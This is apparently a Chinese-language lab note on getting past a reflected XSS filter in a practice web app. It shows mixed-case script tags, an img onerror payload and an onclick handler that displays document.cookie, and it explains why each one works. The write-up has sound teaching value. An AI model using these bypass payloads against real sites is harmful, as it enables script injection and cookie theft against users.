---
# System prepended metadata

title: xss之過濾

---

# xss之過濾
- 嘗試輸入 payload ``<script>alert("xss")</script>``
	- 發現只有出現'>'，表示<*script> 有被過濾
	![image](https://hackmd.io/_uploads/B1dl0h0Ip.png)

		- 發現URL有payload 這個是反射型XSS(GET)
	- source page
		- ```php
		  <div id="xssr_main">
		                  <p class="xssr_title">阁下,请问你觉得人生苦短吗?</p>
		                  <form method="get">
		                      <input class="xssr_in" type="text" name="message" />
		                      <input class="xssr_submit" type="submit" name="submit" value="submit" />
		                  </form>
		                  <p>别说这些'>'的话,不要怕,就是干!</p>            </div>
		  
		  
		          </div><!-- /.page-content -->
		  ```
		- <script> 標籤被刪掉了
- 輸入些其他特殊字符
	![image](https://hackmd.io/_uploads/SkqZRh0U6.png)

	- 都有被讀取，表示目前只有過濾掉<script>
- 嘗試繞過此過濾
	- 大小寫
		- 對於JS和HTML來說不區分大小寫
		- 將payload改成大小寫混合來注入
			- ``<ScRipt>alert(1)</sCriPt>``
		![image](https://hackmd.io/_uploads/rk18A2RUT.png)
	- 其他攻擊payload
		- ``<img src=x onerror=alert('xss')>``
			- <img> 標籤用於顯示圖像，但在這里，src 屬性被設置為 "x"，這個值不是一個有效的圖像路徑。
			- 當瀏覽器嘗試加載這個圖像時，會觸發 onerror 事件。
				- 如果加載圖像時發生錯誤（例如圖像不存在或無法加載），瀏覽器將觸發 onerror 事件
			- 在 onerror 事件中，alert('xss') 被執行。出現JavaScript彈出框，顯示字符串``xss``
			![image](https://hackmd.io/_uploads/HJ0703RIa.png)
	- ``<a herf="#" onclick="alert(document.cookie)">``
		![image](https://hackmd.io/_uploads/S1TIR2CLa.png)
